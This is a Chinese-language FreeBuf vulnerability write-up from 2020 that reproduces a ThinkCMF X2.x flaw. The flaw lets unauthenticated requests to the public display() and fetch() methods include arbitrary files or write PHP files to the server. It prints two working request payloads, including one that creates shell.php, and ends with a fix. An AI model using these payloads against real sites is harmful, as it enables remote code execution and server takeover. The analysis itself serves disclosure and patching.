freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ThinkCMF框架任意内容包含漏洞分析复现
2020-07-29 17:48:17

0x01简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。 

0x02漏洞介绍

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码

0x03影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x04环境搭建

windows 2008R2

phpstudy2018

ThinkCMFX2.2.2下载链接:https://pan.baidu.com/s/1rK1-_BLmH1VPXsIUfr1VUw

提取码:wuhw

把ThinkCMF X2.2.2版本,放入phpstudy中的www目录下,在浏览器访问即可出现安装向导

1596007344.jpg!small

按照安装向导填入自己的配置一步步安装即可

1596007364.jpg!small

环境搭建成功如下图所示

1596007392.jpg!small

0x05漏洞利用

1.通过构造a参数的display()方法,实现任意内容包含漏洞

Payload:?a=display&templateFile=README.md

1596007406.jpg!small

2.通过构造a参数的fetch()方法,不需要知道文件路径就可以实现任意文件写入

Payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','<?php phpinfo(); ?>')</php>

执行payload,页面是空白的

1596007422.jpg!small

访问shell.php,可以看到phpinfo已经加载出来

1596007440.jpg!small

0x06代码分析

首先看下入口文件index.php看一下程序的项目路径

1596007488.jpg!small

在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开,可以知道继承了HomebaseController,通过gma参数指定分组模块方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法。

1596007499.jpg!small

1596007513.jpg!small可以看的的public方法里就有display()、fetch(),还有方法作用及参数含义。

display函数的作用是加载模板和页面输出,所对应的参数为:templateFile为模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

1596007528.jpg!small

templateFile参数会经过parseTemplate()方法处理。

在applicationCommonControllerAdminbaseController.class.php的parseTemplate()方法如下

1596007543.jpg!small

parseTemplate()方法作用:判断模板主题是否存在,当模板主题不存在时会在当前目录下开始查找,形成文件包含。

payload :

index.php?a=display&templateFile=README.md

1596007560.jpg!small这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可。

0x07修复方式

将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。

# 漏洞复现 # ThinkCMF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录